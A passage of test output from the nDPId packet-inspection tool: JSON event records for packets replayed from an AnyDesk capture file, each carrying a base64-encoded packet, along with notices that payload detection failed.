XsJel0tga99FPVvghG3QV7ssP7oJKo6nNRapWeZfMsi5ScYIkKKCOJA4R+FQmCuH3eAWnyd4tZoybL9EJXphMMqD5a5U2\/IYx8PgdN3DeQRlQymnRmtSLk78vhCN3q8sec9UQtLp8Pr+6XKHFIG\/7rb8w8gUvW6o\/wzBF6pZvKjqxYTPn1ybnzusiy3YPTpIp87ovLf6Szza3UoH6WdZM54ExQ0IGKAm2saGbJq57TyUpP9wqqd+IftbFIe\/tM\/IyA2lLI896RudqdT3nyO1I6UKfNQkl2\/xCFpO9L\/+ZKZkGcD3EfHCFnBqyw9AwxNrRd3Jrb7Oz6JUio6RK8V8pEo7\/D+aO8Iya+ZTGerXyA2CyRMpU10ytlC4pFR8dwPRbUxBVPUvf9DAmmw\/V\/xpJLKcO8Q8tSPcKYtWuAdXP0QM3jWNtvEoUJi8oooaZM5bufWX\/8sOfFPrYRm91iaKxv1jvShbtw5Iuls+BBHFSR\/SLUz66cihprhSnZitUyBVhi\/PewOIc2Ial5qOgCLLMW6iY4GkBgCDlt1JoBSda720KPIlRvQHqxd5HLKS7bIcqlKKDc0Ge4tZNe93F16EHRSOKK22aS3uo6tKsiPt3RDikM1dx95wH3HJYKJoLMZBA+NQCwl9qufOPdNX\/ztPqvszW+TvZKb1P2soldaMxiDaczSv5aLEvCoLArfX087IsUcyvNOE98K7VO8aIxVvMsa6iRVVtgmClvfGCb90dv449nfoX6849T9HUCtvHmcme\/ZRRwSIX4EGYuRYUsDDJFv\/95Nyz3pl0BRAAz80aS7VF4Df6qRvlisZ1D22eYAnFw6mhL5V9p7uo0pKjGS6gNyVs1oDxBV6k\/nDT8J6HSnsqPCSYWfPtOwR6XNlN4DuTEoQVYKl77tEQlJrY0HjYgNEYOc9aUSWabsN9Cyyyut2BHmV8ziZygGF5ugDb9qq4aNHYghs5dfgI7XEqSgvshNa7qIM\/VnXSVBQ4u8yVQG3yFDBB0Vl1vDoLmXo8ucm2te3ALzJLDCDML0bsEar\/1nB4pDCvomVVWJWWdrK1V097wrjSqJhuFsFo\/t\/u81KsdUilGdqrJw0afqEI9mnPY\/HH+oRSjAKkiNeiXyq0ft9iIkxovyJSz3xht9vpE6IqgcwwJD1bquiLPkuGzZXpnltciY+\/eY4TVFm2ZesENFYjSuCrEBMptY5pqWRpUJ9dGN+JCN8YNtMNSZziVKB4D5Pd5ppwIHg0Z09eRoFoXeCc04tz0jKGTj2MnoXTNBpcigVUkl49ukkHFx22yytBF0RwWc65osVV\/2+AlC\/8pAUDBX6iwtSt2NpUI9rHANF9yRNfY80w\/iKIEg1UO+vYvuGpz6GgNhFHDjz9Lj9zoVA+gYwrP7RlneH2iN06DnjApn6v8WOSgi8269Ft+xv8hCG2iDuz7hJvUgOL61M7bAW+cG15KO+zt8KusofdR6HGTVYi9IVks39yZcXZtjd5UwRIteOE5f9LQY8sblwYVv9nRZqUw+VtvqhTWKYH+F2EZvuR4oNE85662nyimM9L2n7SAenl3\/15hRrXqSTHact0GNlvN7CLh7xFJTh\/RlSyo956JoK4HwV0fhw4yCSJnoooeD8FNoHbWophCSR\/+mXZZKPlwZHKywFk9ubVvh5MTR\/0uG\/OS6p8sZ\/Y0uHF6wcAgq9FtSYwREdFE2Is+LXupFkdDP3rE6Guf8KMBWgexYQpiln7PNc0nF4TZr5oWg8GwDOwEhBPAfcS1TCzImBymGWcDRtlBOuxKX4\/hRTs3wAygISoCTus7G5Tydb\/U0D8IjokFPkCRx4pR1eOIYY6bmh+njSCXWvwk8eTP6IEOERWV33BgTnGde8GtG2S2c5uheJ10sPbkQh1vluIagUiaMCj3IxlJvzpv7C1hmjMY2PJOol5ZdFcTmx9fRdaIIIgM2fbhNlURBbyHRTR5+bjnltgWpjefAIZ6PtqxW31RA\/5xy43iv243enCdSg8pDVZZW+vm2drQP0SA28fsm0ZhZ0FVcca0Negq5BuexJxMT1syMPpb3myADtwlCqAGTuwZDS1wbH8IrO9vMiCszKnm7wEiWRii03RGeTfxdNaImZtZADU6TTC2OM8F28TGYcI2Yc7\/Pgd3fkrKlxXrDQwEqw+3CSuZQBVwPZO8ZXcHN\/LnoZmMj3DWP4tVz8w\/95RLIi9D2Lxs+2o8+wbvygtVo\/apDHfa\/vOL2dneJWFnQVKpkyKhvNk62+wuItHL9o5PQymj5e+z\/iMTT6wljVVTrDN\/cVVXbLflxMW\/N+pU9yf34bv\/VlcCpDKA2X2AP6TCOAeGPCm4qlxe9mx0zBDScLhfP7d+4CVBCscieGVL\/6MlDZ5066fHAkctetajCSv+0pTQ4IhJi2EXVSo5ZZUFOosUtP95ISqrWPyFpVUp\/u2NqfgmGZHW\/M3EignCBsgPUT6\/eQzCBHsfJ18iRWSGAFknWWdm89tMopSl583LT05qeJZug4Dj1XAkEYyaIKCZZl\/Z05+l1+IzAGohgKaAVrJpzwpCPifidIHiRgRenLz+LS8Lwe749EGl+g6AM7qA+kW06sFzfRQzvs1kebw16545WrKUybTx0nYlhDU5Qs70xLkcBnNlG2mWlFWNi02x6M8Ow9BZwImcJgGBFq0f7BU04jtmT9iU3e24vvdlVNFexDBYxz0Wl9hIsgSM9aiviVhW+0nK+T7IUmlH6ULxuvPXC6jUbRZj4nMUCSKhiuVDbBLD7jBSmg9hGy\/juVOQOl5vsd7Q2LFtTn+Oa27Q6chyIJjXn\/to11LLdJ5yf4fl\/f1OSbderSnzYqzeLJwQ3+ep\/rinaSgQbc\/SKJPcHeGoaZW\/yMigK6GHKTk1zAkJ\/45Yiwre32W\/QT0ORmzD9cH+fjezTZnw8D\/qnV0PonPMLXBwb+0zZQOpowVQqnvdexq0lPgXYXYyIwZDmyyVqk2DUfDW3BChRiC4ikh+wDArhZLY4TAPxbxcDVahVs6UFxDvEE7QJ8+e0WUfZK3PHv\/AppXqhXehfkVQuT83Dd9enxLff+kfoVi5CVco2UyBmPBRJ44htPxB\/QVp7Mwy\/Y6c9EydkxwGeo8f4Q3okvvjSYS4UEKT5jUUlTzsPNpfDnk2rgMrHPd8B82GGkN8JMdSDcEcUKRl8PVj1WEYVMIstbB1LyQB1oNqwL6\/+ykP4qeazB1z3cHXhgVh1dDA7+6rBYGvisgDE\/JqdWTIzhuvHkf+5lFeoEv3KbnK5Ucs5xAn+1o4d0FyWF7WdTRKmsYCnq+5N1cCILHjj2D28Gym9t2hrymuvAbjWNNas\/GhU2woUEw+s2O15g8rG+wBMMbGrb4\/W0JCT6AwyvnPw30HkpxXEg+X6UOvYisYDEqEnHoapTbNt2KUVVP4\/F9E\/leKbCN2EzZOs5Izg7jiEK0dNsoejlzeuAWjUMk2UjFU+0qRIHVi9E6G8exuIrOiqM1Hdrf62nb8aaZaPpdR8WlIhbOH7dnzCzlctEihkQ0Y8inuvxVd12Y2Zf+m\/J7shl4wVFSmF1fkSGc8MgBdNzplpIkvG7ZgB4kMq3mEXLqaSujfriHc+zEBf7+vbFopSD6x6D66c7d+GVo3t6RVE+us8PxhX9iCOTDyeDQuHUrwf+KtKJi49Mpp40B4bULVRUkM9Q5PxeaXJg5WM6XfQQ6UtRdUgGzNqlOuZURTgyfcOKBcGgu5u+f2nclXN+0Uf3j0HSupI1MRj8CAlstMsnFfXAIsNhfI3VNsG3r0n\/ORKqtURaeonCszHysyBr6zUr2P25SIz+u1KOa7yEa6hk\/aY1C0Cmd7g9fxXeoCuJdQ57GVbtzWTKtgDqW3hB1ASfFyX8z\/fcIPOQp2cI5LuY\/IZFuQvyAgtzuC+zCjbSww+pFKLrkredccCniH3Ok0FA2VZAlC7mGyuaUClbyC9Ygrpg9quDlU0sHr4dJ1RqIu8Db59MQNfDzjEfKVv7mkm1G4zSaSFQCsxEyRGjvcE9s231XYdwAF9gwOS6sh735illzE7HofjS+V5unMIGZZnA43v2U7+8Ik9zuBY7+F+Z88TRz8VfS9QqHzrh\/OUZu1d3vHEqfT+cZdbclqHfcnvXDX2Cc43ogAceq7JtZma9pZTTXMhTqu1k\/Ef4PVuvk4MKtB\/t\/051t7rIakOMRCt2AxKbPiCMi8jI4\/mgbwEqCM0djG1ug5O6zwvIri0TfONyfORQ35dL1zSThsBMLZDfTkyi2U\/uh1D8jX3jn8x8joCGixEXIAFGF9vnjSXJ2k+q2ZccEZgdp06+OQbHZwFqTLU5+m0bqVLcIGjQFDGm1h00Jt4VXbeEgVW2da6RHpQmBGJx42\/rYJWynH4rLcvs3AAp2jtcXtKIoP37r9vLK\/kWLOQQC2AebZFm+2Bxb6gFHau2bQVlGtQiL4to5C5pgA8YaJQrP+C1SQ9t\/A3fPNGmE\/4xiNkBMyTM\/yxFHaXio0lY1MfDvT5NqELAZe4vXF8VtZEsw51eUnlDswFF0DzdrjAR48rU5Wd43By3BP4J+GbV4sfyhNqu\/DsoaIOtv3LAdG\/KFhFCixFW4isM\/6Qh\/r726pYLKWWLn4kMA4MFeEDaEjlA8fjtYo6fUOTMp3GYb0\/eyhq759yj7yeR\/l43bxWxFuUkJVsjmNIhR3Sf1vcZQAPSu\/mgkAcRD6tNG6lDt63uLhAK5ItDAl30nJwBdbdHoZ2mzaO69Eu+BUO5aryEfRogoU77tZcR65fnf+t4eqHFw+coNCJ8eNcsxGgnMpZYH2+ey69B4DO5qGgvcFGBeEGS1xzt0aNGw4LT13GICZg\/ISRBVuP6H1tAUUPv+RhXNDOty9zFPBX5nAfUCq0eIQLvKf5+gU9KR24pmE4l+fbdTddCql\/zU925LZuAUvOdvxQGu4I8l\/OFiAjiu4iKk6RIYUGQT+n1UNaZoZ9ouhTgTq0K4zFgpviGtH57j5F5C27kJDlkVv8VNte1TJAQ4iPbGpFFur2DMnEWjwJM0sFRiolgWJ\/nGgrDDjxKE3DlyYcxkpECrjASf6A3OVgShvJ8BC3YnNnqoYmMFEKL416t9rFWJ2UdXmxwL3oxWAF3PDpCAemi3rEItehUQE+M6Ayl3z2K+ZLx1ttcjM8cviVDXhUJ4hBUrk+ivdzwBH\/XWs+1gaVSJsndtHHxWyomRBXuaRQnA+TrZaQixVdfaHrPfDbG2MxtW1gx8ObhAL1JyalV56KM85VoeeMX0hVJNbo1zXXCMqQSsbp86Ukwoy29vZfP1KYaCPb3Y4jObJaKwZFbEF243GITQKI5lvX9Kh2UUUSS2WLzPoc2610z9qQ+BgmLSm7ic3kw0H0u4ZwMYViPXah8DrUmmD9otken58k+B4pOqgJUfyvQzhicWmKH3Wtfh1TPcWY\/IXJGgc\/zk3BcZkLvuwTTCpcBzyzwoB+RY+LscJLuXzYgeQrI5PSR1Uq\/aM+O4rcYEaig0GOVpJtAYMsUvxPcJc66mlfCN2PfieLAclYANBcu7rezj6MZ4cWms0fDuV\/vSqqc5sARvKJ1lE4S4XhL\/dfU6HfX6OMTmsMqx5S5zI8bvbjcMmBPodCW\/bxWGMKnOG8EKkYieW3+2qs9aLZ\/Ly\/RAQpO+YtOL16RKN4bNE8Y9lXvKk7\/n4gfMkeelqehUH2OtHrKzK1yy2HCD20T3W15fvwcU5XpyFiLsT3\/nZguayzdmY8LTjhlPUv0XyDPV1yS+hx4TGpDiTDsY0Y7spVup8aNYQth6OSHaxiFr291zfY3NbDBkg3PxemekAPkOgltoDp5Tt6o4\/sAqlGEf"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1984,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07823{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1987,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":742304,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgz5AAIAGAADAqAG7wKgBstOUG56PLj95WcRHEVAYIBOExAAAFwMDFXdZ4hNO+msWykcoowyNRPpLWUwJTr+oIZ5heT7m\/F03XLgSUs48CLHOznPsq77C62\/7ae8VKfe4mMcv+8YobicjrDqbb4ZbhYGeXomGIuHH9G9IjatrANJkXHqOO77NzyxW8NIsff4yOg\/sQOOnBLbwxrbwVBB\/JLSzbd5scKrWuH37YSO20DawhLw05EHPFKbqQC710DlNJjhBCwgpSCIGJqj5wMlfcOIUmiCNY7LcaEPTmNDQhD9ZEyuhp0tsUgUquGvkv\/ciVPMF+hUcM+7FpH4Xu105k29iBppUV0XtOYOBTF+MXcotupQkBTvQJWccDoAvBxVrL958ZjywezB6Wu5GipOWBiVhsS8y9mQpLWhbdbRfx4jJCnIPfKN+W1r1ts5lqm53QHBdf0FVF\/m9uK1X6KDPFjweUlqj8Ztlznoh7fht4HSnvlzqKZ3z2YB2LoCP4CVgaf09WPjFC9Y\/Qth7UgfjTcFgtDLCG2oR6YnsRgNp29l+QpdmEuDZogkU+C9OpWmSE0Axka0bvrJWc8302+zxjFr4jGdhu2cd5\/tRsTlliwvmZz3QX6M8L\/CotmPveNDj9SEHyEuJTUK55OKPEZPJCh6DzUQDOAyb8k1cu2GrAIbCujq8oV439Wk565gTDaq8xmeo9uIjrHU9fe7KwyU1XW7YePG8kuAr6UkdLMpEOmssl+XK4jOV2Fs+QPN8m3+H4rNnbadHK9QKNocfhnWrvhE03kyBJnnmW9o0eomhqiyLeq+wpr6NyAwxdM4zVs\/PaqT+h4DTtbSVqtVSoll2shBb1G34\/9uU0DJQF4bXPNWE64KRSgyBd1VXQaf4oqC6T7bSf9arbCnnTDjFziuKyLSU+5HVI+k4EE+mBj8dhnBa7WKqrOdiFYd+nuYGz4iKAFFE23oJ4HDH9lh8VKNLIGt30uVZZHU0VqoyjxG0SkNDoOr5p404owfKlLwbf1MJEq5ks7l9dLbhaRphbiVaN0uvW45+2tB8yEkXuR31yAhifAcfe9mYHw5VymnFbOzLiL1M5Mgvpruhd+xtidAwozwY4mbCdj9nDLU3Ac32ydg9MbVVBit4f7OPi0b24gFQ2sodTAXoIuAkVHKqIoEY0wKj+lyhAsAOGQEUpgmqkovO1GWC+zF\/6Yfy4coBuyX9ZL+oe28NqCJPlugSb2+gRiWAdgjn+vxprQc1uvucFyid9Mv+bLFA7YTjtjt3Zb9G5Vc3sOgY3HtSR9WBstIin3WcRkzw\/RSADfYJ2OB9DWt1Uc5lpCnJW06uLLNJRAQh7zmJATJSwY0g8IooYvc8Xl4hYzL7b6ZkgZGj8t\/dtKOf4keHsHasRXlSHdYNEk003Q+kddb7OF1PG4vbaI0G2f4vNx9xmNbMfUyNm1NbfxBapOtp6MRdBDO3628iiYblF+HAUUsMJoJU0ek1amxuMU5tXFSB1pJwz73XU642eqQBhwdObBZLVoEeGvN4s5ePum9eO4EeAR7Lgugk0++UFeKpgLqLyD8P\/8vtEsVy8RJqwEFZEnun7oBlz5eCic1fTAQgV\/1Dfjd7CdliD3FQK5LoEww+t3M1zjFmgn0Y0Lx3TI2omH71ZgLc7uFpQp8YIQpDBkdIW4unVCArgDNPoYuy\/zkl42+WczGXGOsWpwfp\/MYLYH7d2ScISBU8B3gyiajODoMXRvUFxec4EFRz6ZC\/rv5RtdpNkx071eEwlsXXpNOdbELQUpeN8JNdfYPJDrGlvr4g+W6fMJxyQ74TfImH4deektHRx7TNbSBBhY7nN1vNY1ED71+GsKKbdczUAyLGjXVHSXmeVlNcU9R+OI7rpIRMNxXew4V15a9NloVWMqoHXTwkcMTDrbxY7MTQQgCEJ7s6Xre9OsBXJQb2\/Q1DoJ2vu2pYH\/2lnMevDCjxX8zdzhG+laAJeE9BnxkmMlQ\/YxjA2OyNkvhONuUbUsakBgPgwT1aLdUhble3I86K\/sxvWdlToSLz6MuQFek96kF84otMm2EX+X8sSwPKJYPeSxSUJ3iEIlpvl696U6g0LtKoIjhIqwgEk\/0XG6ycitfWncrLN9B6Pspu\/LD7\/pxporMQUPcVJ0y0M\/a8Sq+uT4qw8YJXUIuLCBOetax5vRNiOE4XJN4ciT+BVwQX+x8BVLtRnpcqfmoA4nVon4QwKepS+W5SbFNuWRUnS27pfTeXcFNqpiyDTq1YNHjVVClehb\/XC\/xUXbuPio5K6EZXUi9ZQLgGQPz2q\/FLVr5Sy05tiYRAG0IM4xzU+oH3aL6fMb12redqy52YgHXfrhqDY0OgENSlXAgtIZMGysjfYyM2DEBnHccD5SL9QB5WPByvi1Xr9v2h6FtOJNvE4aXB42xrPJYBxChlQ\/f6sJFABwRUL28VpaUcfYzyO4\/U4TBR+go2DQ1KrY9DgvwRviFc\/tObLydKB5oE3DIqMZfKMCEW79eu\/LHEl4XLhcB4+VfB7ZBntXNLTJMbufeMKjYsOeZ1JqVHWGOQ9q9Am0Ah6l55JIqXiuf90bfayobMb4CTr5YED+TDPU4a2rYj0jOlYu1D+qdKq0OPU6v23le64uWIBJf\/eBEtqI7dJ\/gIQMcMMObPUCrkz5HJKg70Rdjtnl7nfwKlFqX6CnNq9mKOKyu6pDX\/+b9Jy\/Rmf5fr0XkhARSbjI5MHrrUHHPO9xTNbFsoq9OQU+tuOWkC1eldUojgBVk26O40TQFuEucHCwrOcn4MKspO2rcpJOvt7FJnCRwW9vjbElcz3oXnmKxxI\/Ww6ZTw699ChJY0m2Bkyn1R+PbKl\/r5zLF9yfBxz+MVzVAK9L3KQzUR2bDpZKMH+wAc2wC6Mb6vazsUOriMv2NTncirVsrFNjpXhjvym8wHWzOitRHrw9vPxoYm05NnecWEg0y2Elv7fnKu2vg2dbIpPXXFt08h3l2x46VvgyzcZ3Qx4LT3Fwcxy1BqILLccUJApmJpTYFe0P6Pyq5qE4IfYzjGV\/9JFuNQApSCJQtFNo93+ou7G9BhHI2hQ41GZKoPTYTdgIOozXLBUy0\/hcmZX\/hZ7EpDywaN73k3\/SbvTORNiGbBbu4qEU7ALVCnZwWVy2QvVKMPgVvZ5gCEsOQekGGDtYrEUL\/6RnozHYY1M8gR2LNJWMZnUV3AMT0Qv80bBWarUmSAwmB974aFSOZixaWt8\/3\/O5ghWW4F\/6DtDqpjLdoRtNwCVaGnFavOI+vD2m7kPZpCHxlCV1ti1750m85GlzuOzk5pHnP3Kr\/ynlSZFIqJ7\/FxOzsgROZQJrV5mQOgw+gRmqKeFCxQ+jEwfYRiJm6nf+V87C+Ecv6uw2AlcXaleao93KPyBcONBDxUlnM\/TkPfRIcaHMzGu4oyB4QdN4pXXoq78qls5WxljcFZLCFl5kEt3mDEamcJjKkfCDriyMmwliaEI5Q2n22m547nJnYufO6\/02eOMReGw1BLAoeP1brOJNpkOWXShUgVWSgS5dhBuSykGHoiLd2RbVJlSzNOCNqCHM+w4KpP+2ZnmIrn\/XyN\/dPwPKPrKT5SxcJYhKxM762rjmSDBhBQWB7MOlDD4SdXMAYWSu0FW5O+LdjQYkA7F8Nf3lXi3wZzXVR+AbB\/bMm7dgAkgCSQW2XLMol7j6Y73eWXBZuVNdrYtAUrRyTNBPd2p4j4cn9wm1HaFNC24af9zbqRnztWwjyl3Plqzjj1D\/ETGlgZyHTGWlRNimutXKep\/ZiMp6LUKAiT03L5YCFWoEhPvEoqay2zQez0\/zfcdRZSmvm7IgY+SGMkpTR4SsGDmCBBwua5yjlhDY4s\/TV9wJaSW\/nQlIk0PaZ16o0zrfrNQIgEvrDJQULfMcIwFDG1+ODm2qWdJX9K1tPIJd5HldQARLLblUnuEyQu0BW2\/8XSxUEKmNEJMIvdsspkeU7YZSKOkvvpEVH2ys+\/mtvJZ2WnqJy+PcbKCsQpSzTNOBBz+A0nZzIeouSuffKOujKBSmAupewIs4TSSvr6d94I4zs1AcsyzL5rfYs1RLN1CcQMuwWpfB3MWcb4hR3xDGVCDj55s1mueQLsHsfAEoJRIgaftmjdKHxorpEPXqe7Ty\/RSe1NVfXn3hblotVbn8QusIbyF6gOPse9f8ojx3jeTKGSn+jBOhPX2HK9AUts4NWQFNBDkhPf8EwrIF\/BkFMYYA7z17c7TlICLs4LMeifgNXmynM4Z88FjFsZblw\/t2SKKOl12LBLwwmOfNvGSVHm1DQMwXRhOqmpSyMyERfBgiMzi9q6UnDzO\/8qhDkljSvD8aD6aHhFuYXECF7mm1ASDyjTtWLUXKT8p1Uf\/GSn+L16TlU5Vo5M\/4w1IsCzArscf+lQB6YQ8I2mQqRDcLfyYEwpW4eOjT1a9fHtD0FJG8Hp2hJTcTMdXmTIUJSplJpfCHOq4oxJ7KzxKyZShaPCANBn2Bms1CXQSyIzrnOWMmUq7AE\/B3UTUMst5RJFv\/0\/WTULEwBnecXzkRHAGSo6xA3BGYOfb52Et4SJnJxKNuHZrFpdK\/R10bQFPniro20PQ1Rubsj1gERzrxAXaPx7CYdjY7VUW9WYzpEi0scgtPLT3b5Ck+xNCdEExLZuADXalzwIOxwIAQTvBhFXZov1SAkx6HyHhuzGjNdbER\/dwAhc6aT9Lj4tijjvUUpb8NENOMMTGk\/wl3Yjpa8sok524yRUu\/eSLcx7ywajsd46BJ31774AtOzH+NMp1cnFfVbs9Kk5BegbTsb7BWXMkZt9wgyyRuxmgOQqUvI0\/JRE369vqcjWGUVVgOdAC3odTXElyry81icVtaN9BJ5abii+hnbVAHQHl36ZpwKgMBEGxmJzseFajjs8mZUlmdUFS3sXKkkp9ZHAtEMrseq9SDImOjg4BZHWdbfauqVjmzvwI4IoOsWDK9tCoWjfmQ9AjvH1shBoZ\/Erfo4wWo8jaeCIkkuh7Kmellug4iueaDOEIXIV7cOxSZincbvQlh1MVN\/xZabb2yJBwZqzhQjCnh6\/45\/\/deU7j+FGO3\/PlR+BQn53\/4tDAt38ZzSqxm\/LkFXmjbT9rJFzHAHUs6Ini1\/NR+5cUbotsmeDbYnM3Y2hqn68DEdNOYayRVq0xL1ORhE48I9DSWwvjxyKy6T1d3Phx9dninD0PLTQIvMjMywl5XxonChIZkafQbKs2Nc+jU0cszAZEABW7gcsj8pWy2VoXxNFsFvnHZ1TtdcKbzpCY119Dv2bZ\/XavETzrKZgXH3h28e4dJt4\/+\/zLhWz6l+6oSSEwcpdswgpPBwEIVSWtMZXQRzOAG09w8Uj9LvWqQTHeYJu3p0QK8RUsEpdk\/OhrJGppbTTD+hutEkKfjQ+3syX00N+euGXz+zZbWK4nrM39zRc+NBwGw6SV62NuD3CGNu3iRuxxYtcGSZpaprPSb8jDJN0mMiFYIRzU8wS7jUK8suvvhVENxNxRig7\/TU\/urL6E8wbq4qEIq+xLIO2xcQC5JXnqu5s7ooZ5tt5HMJLf7prwbJRV5+B9rXNPta7BM4H37oc+iyKbV7fDsUglY35NgnnXGnyBtiGrn6uE2jybv+Hqm8\/v6FvaNah6T6nDE4L29pcUSkUHizgSlwBtX4b+FX9Pm3pfMZPi3h7dOQFb0ox5hix1CENSuuRSsYLg8zr13immXXXxRUyBWEwRafJ0QatM3sws\/3ULeN9F4+lwdMjFfcNx3o\/IPa\/My3LKT+wL5Y1hAOmuyp0EOQHtN4vxdYiAE9Ah6FqV41F5IRwUzwsRksuew5I\/\/YGDxp3LCEvr9Hppuyq7OK3lP+hy52PW8QyN9b7EwydvKwZce5x3F0zLHpQlpdWqSeSt7YOQbXnm4DoiA7rr8SS1lGqgpaVTBF7M5YkSMRB1eDwRahOF35tsb1llh3MX+geGlxzYoFwX5juwFFdFcD1xGQfPVOfGJN6sDmszbjEn1bvk3L19Awh2LPl+BExwEozso988dJVIiaXosNV0DzuyIuyBhjIvG8\/Q8SpVqgt5f\/rmc0Rc3SVc59tVC65e\/BDl1aIadwTTgzs6ofwk+bLanRPra4zr0gtvhM1iDCd2IdxB5F5x56IkVpFQIq3ZU3WiQ9ADlPAjFesgJg2tf9LUukK+vEG1s0F0A1ELSoH0EhDidc44ZYjIgqOHMx3xs7z91\/+M9HGhndhiSlS2XUcsy12YvnFjfYOcx7+1BSPN9XZkzHXm35VK\/lQoAYNQChXAigpfdpRqmb0GpcI0lvmgsSLGP6tBGEDJyvnBfGSQ2opCFu2VaMOvRiP5wtFpCfDPSzybxCVlkxpf4QzrUCuSJGjbJ0O9+gBlQNCF3l2u16EDuY4qSbSsnQr1oNpd9gcBVirb6nS27m8JR3bygbBU0pzznpvBLkR3C7t1gI8Nh0ydlOnhDrw4F1G+4noMdpGQQH6htyV+m6hMyu4\/D\/tAcrDPZWycZgefyNcO\/idp\/pqMDbWdsLYMvj6qSivI6hO0qNaPFdRuGQpsoIvzRBJ3TUMr0zzIzTKjtK8G5XfAxe6uBZm0ycnD3qUID2DIYYeVaOSpixwsnhaJiO8hXSTlNPMUTerjXxQe7k+tpUGfb+zPtQ0kskKMOkCq4fpbiSNyVeOi\/geMr1C4ydhfeHwDB71NST7JtL5ydYitzu5CLp88wpTtlOf8Rc6sEczSRvnqJ8uELm8zGmvnJ6W9xaq0NjOpXec+gWnMcK1JfvPO7ApVfXK91GBxpp4rmkAPTvknV+lyg3LJrlm3KH+T0WLfuRkXTQx0MzhqfyhN6xaUqNfaftP7SS6PtsQwmaVvIUZ4sIJQvvICqYt8RX+A5SFcmp6hH5q+E2PBfyQSMDGhQ8cVETxuNkBjVljcD7r5HxZ1GPOKiKHw4aQV5rw3dBDLkaXIhJWlYXZRP9ADqg95uSm8cEpRA4WNFEn2JBx+ZknL+Rk+K\/A9SsYltDG3MUgxLGwrMjGVLhcC0aKT6PO6iuSNj29eawvmXKXkf4iJY05L7vAO+RWlxu50JYNQ4fOE+BsyxZnpjkRa0HryktBCh91wUyCXn7kV2dGehTqnybtVv7zZVV9wCRJJ3xYvxKXK57cnBZpJnZF\/oYbnd4zNJfXkVgEVjDcUBrtQbCJ4CsNDUbjLUBQxa65sYbfHVsI0gDDtKjN1mVA4jJ1roGQGHCBTd4rkHFiBI4\/X8LwCIRH3x44fYfsfyWehToqPJkZdTABXSkHNaTH1RB6SsLhlH2GKBFIhEFi9hUz7hGbM46CCalEFir8UMsA5cbxdGfIaBnHe7hpWJdmGEPT3jEm1jKDKlcoKzB3ccRu+2JCn5+6uQ9qmugsooWhh5IMp4o94oKBNdKnfQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1987,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07846{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1990,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":742631,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg0JAAIAGAADAqAG7wKgBstOUG56PLlT1WcRHEVAYIBOExAAAFwMDFXlZ4hNO+msWy9fQCo3T6TNE7n6XLcvf7JcfSAMtgQBCersxlEM4nQabdpRXH6o\/p+sIHekzspBxS0OkRH0ImH0\/3xfhVMVIrbMryd82SoVbG4+Sk4AwlTUD\/ws8vHwzhvOhnwO0x6rWK\/7716kWCP\/+\/7NBrvTg+3PaJaW5QYpg8vWbBkS80g08uc6mZErTcllnXAitdtLKfLSOrXqFJvqZXdzN6aYD+8R1qMUNNeYVUyfY1uewpbyWOERzaHEktX92Jlkq0kOnrbe68m\/fRYeAYTzL+814O1dpzAUaczZ+XwCRR0lGLwye+RCKclM0klM0qDiGk+ONdC6pph+v2JbVBDkynGbeEDuoKxMx0\/3YIB\/BXmwPXdyAHAJZDxmeBMMxAy0T++PQFLNgcVgMhzddyPtHjPRTjjhx8dOhLeBxi5ZLm6LAnAhXCKFWLOGYdT\/1\/0SKGB+alGG0WPD7KRgGvxQXeju4BxmARqe862b+1E+Ey1n1dc9RZ4JfVMtKzB5sDxup0+3PNCFVCz5qs3aTguCV4jr6NrC\/uf7fT\/qqUl+O0YRe\/0P5RYtbUioIiWl4GxJzebUq0jpR\/ah+ztR9EoWk79F3NmefM0TUu2C8LU13ddcp3luK6rYkzYTb+Yl6QO0ZTs6qAcsAucYb9HAhslknSi4DEjogVe32QdW3Lb8wczZRoBqVplIsLgNp7hdNH8CWKZQof8tGr13tGQbMm8oUiInfHHFM27CxW5TIDtTHJQdc1\/xVTCvfJ0tcnqxu8QtHqnozfR9uVWIFM\/kNMZ6j8OYQC34XPG6ev\/lYKissfyZmN5jkr+9gjGy\/4\/wbi2osf8GQOB7LADn1sUctVtTbGZOFxDwnORB8W\/JC7crEuQ4wcUxf9n7H0hzsiigywVC5vT4lNywvMWgXCYxHI5BBJaXBcxIu5zuLJWO2Bps65kb2hux3kswlI7\/hlFJ10xpmdDbuoDwtiU4GlP7sJOIYkFv7z2nEqWipxLZnkm\/Ksn8xPvqIECj5QfXrAfNttr+5qCjbeWRVn59CAu0QVk+YZ\/sslcpanekEwhmccjFiCDQT2HL0zbZrSEXPhlAkO8Yhu4edclpAMn+Hjw+eGvbod9HTz05n7qFCHAruRxkhMud+1XAxiUkbQ9Q2UyqbzQT8MfDuqHNMr5wq2Bfg3XkZls+4C6hb0pePqXj79dCPQMNkeD9stTrMjSnC3aFkiZtJC21hmem9emgEa+Qjn7F91a4J+enzC\/7ZBSKXk91dJcI21useV2N5NkXgeCsRXZ3pqjMRZR5+Jbyvg53WtfQ8G0FghfGg5DnovRo6K9r2BhlKSBraVnx8jdjljmyYwBMim2\/TpiZHpWP4BA8GyluuM+fQi9Q24lLpaA5QT3Pk+SW9r394g7jqgwHNN5L0fbmnJsDSPiRxJu7daMiy9ooaVWV21cbFSBx0AMsbd8tevDwesMVf2vwX8qYEcmxdVS+neJUe28672SyaYcXKdYac1ibhRjCgxEBlI8y2Ld6dVNeTmba9TqrPVzEccx7Uq\/FW1ukveFukCRxncDbZpcL4gWxTMrDKR62ERC8sFACRZD\/oGVXHr5FYn9Zjfkagq9527QPVwjov0iEnPWPuuK5CePI1nbVw8vYbYjhFsdE\/s5z4K\/KtD14tWn03CBMRxc